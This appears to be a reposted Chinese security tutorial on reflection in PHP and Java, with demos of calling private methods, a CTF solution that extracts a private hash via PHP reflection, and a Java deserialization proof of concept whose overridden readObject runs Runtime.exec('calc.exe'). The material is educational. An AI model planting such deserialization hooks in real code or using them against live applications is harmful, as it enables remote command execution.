#############################
免责声明:本文仅作收藏学习之用,亦希望大家以遵守《网络安全法》相关法律为前提学习,切勿用于非法犯罪活动,对于恶意使用造成的损失,和本人及作者无关。
##############################
Reflection in PHP
通过反射可以调用执行类中的私有方法。PHP自5.0版本以后添加了反射机制,它提供了一套强大的反射API,允许你在PHP运行环境中,访问和使用类、方法、属性、参数和注释等,其功能十分强大,经常用于高扩展的PHP框架,自动加载插件,自动生成文档,甚至可以用来扩展PHP语言。demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
<?php class test { private $name = "Glarcy"; private function hello(){ return "Hello ".$this -> name; } private function get(){ return "My name is ".$this -> name; } }
//通过类名MyClass进行反射 $ref = new ReflectionClass('test'); //通过反射类进行实例化 $instance = $ref -> newInstance(); //通过方法名hello获取指定方法 $method = $ref -> getMethod('hello'); //设置可访问性 $method -> setAccessible(true); //执行方法 echo $method -> invoke($instance)."<br>";
$test = new test(); $reflect = new ReflectionClass($test); $way = $reflect -> getMethod('get'); $way -> setAccessible(true); echo $way -> invoke($test);
|
输出:
1 2
|
Hello Glarcy My name is Glarcy
|
例子
国赛的RefSpace
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
use interestingFlagSDK; $sdk = new FlagSDK(); $key = $_GET['key'] ?? false; if (!$key) { echo "Please provide access key<br >"; echo '$_GET["key"];'; exit(); } $flag = $sdk->verify($key); if ($flag) { echo $flag; } else { echo "Wrong Key"; exit(); }
|
sdk.php
1 2 3 4 5 6 7
|
public function verify($key) { if (sha1($key) === $this->getHash()) { return "too{young-too-simple}"; } return false; }
|
这里就可以利用反射来获得getHash()的返回值
1 2 3 4 5 6 7
|
use interestingFlagSDK; $sdk = new FlagSDK(); $ref = new ReflectionClass($sdk); $instance = $ref->newInstance(); $method = $ref->getmethod("getHash"); $method->setAccessible(true); echo $method->invoke($instance);
|
Reflection in Java
Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。
demo
hello.java
1 2 3 4 5 6 7 8 9 10 11
|
package glarcy.demo;
public class hello { public void show(String s){ System.out.println("hello " + s); }
private void hello(){ System.out.println("hello glarcy" ); } }
|
reflect.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
package glarcy.demo;
import java.lang.reflect.Method;
public class reflect { public static void main(String[] args) throws Exception{ //获取class对象 Class hello = Class.forName("glarcy.demo.hello"); //获取所有公有方法 System.out.println("获取所有公有方法"); hello.getMethods(); Method[] methodArr = hello.getMethods(); for (Method m : methodArr) { System.out.println(m.getName()); }
//获取所有私有方法 System.out.println("获取类的所有方法"); hello.getDeclaredMethods(); Method[] methodAll = hello.getDeclaredMethods(); for (Method m : methodAll) { System.out.println(m.getName()); }
//通过反射调用hello下的show方法 System.out.println("通过反射调用hello下的show方法"); Method m = hello.getMethod("show", String.class); System.out.println(m); //实例化一个hello对象 Object obj = hello.newInstance(); m.invoke(obj,"Glarcy");
//通过反射调用hello下的hello方法 System.out.println("通过反射调用hello下的hello方法"); Method m1 = hello.getDeclaredMethod("hello"); m1.setAccessible(true); System.out.println(m1); //实例化一个hello对象 Object obj1 = hello.newInstance(); m1.invoke(obj1); } }
|
输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
获取所有公有方法 show wait wait wait equals toString hashCode getClass notify notifyAll 获取类的所有方法 show hello 通过反射调用hello下的show方法 public void glarcy.demo.hello.show(java.lang.String) hello Glarcy 通过反射调用hello下的hello方法 private void glarcy.demo.hello.hello() hello glarcy
|
例子
利用java反射进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
package glarcy.demo;
import java.io.*; import java.lang.reflect.Method;
public class test { public static void main(String args[]) throws Exception{ //定义myObj对象 MyObject myObj = new MyObject(); myObj.name = "hello"; //创建一个包含对象进行反序列化信息的"object"数据文件 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 MyObject objectFromDisk = (MyObject)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } }
class MyObject implements Serializable { public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行打开计算器程序命令 try { Method method = java.lang.Runtime.class.getMethod("exec", String.class); Object result = method.invoke(Runtime.getRuntime(), "calc.exe"); } catch (Exception e){
}
} }
|
![反射 反射]()
Apache-Commons-Collections反序列化漏洞:http://pupiles.com/java_unserialize2.html
Code Breaking 上面一道相关的题目 javacon:http://rui0.cn/archives/1015
参考链接:
https://paper.seebug.org/312/
原文始发于微信公众号(菜鸟小新):反射
评论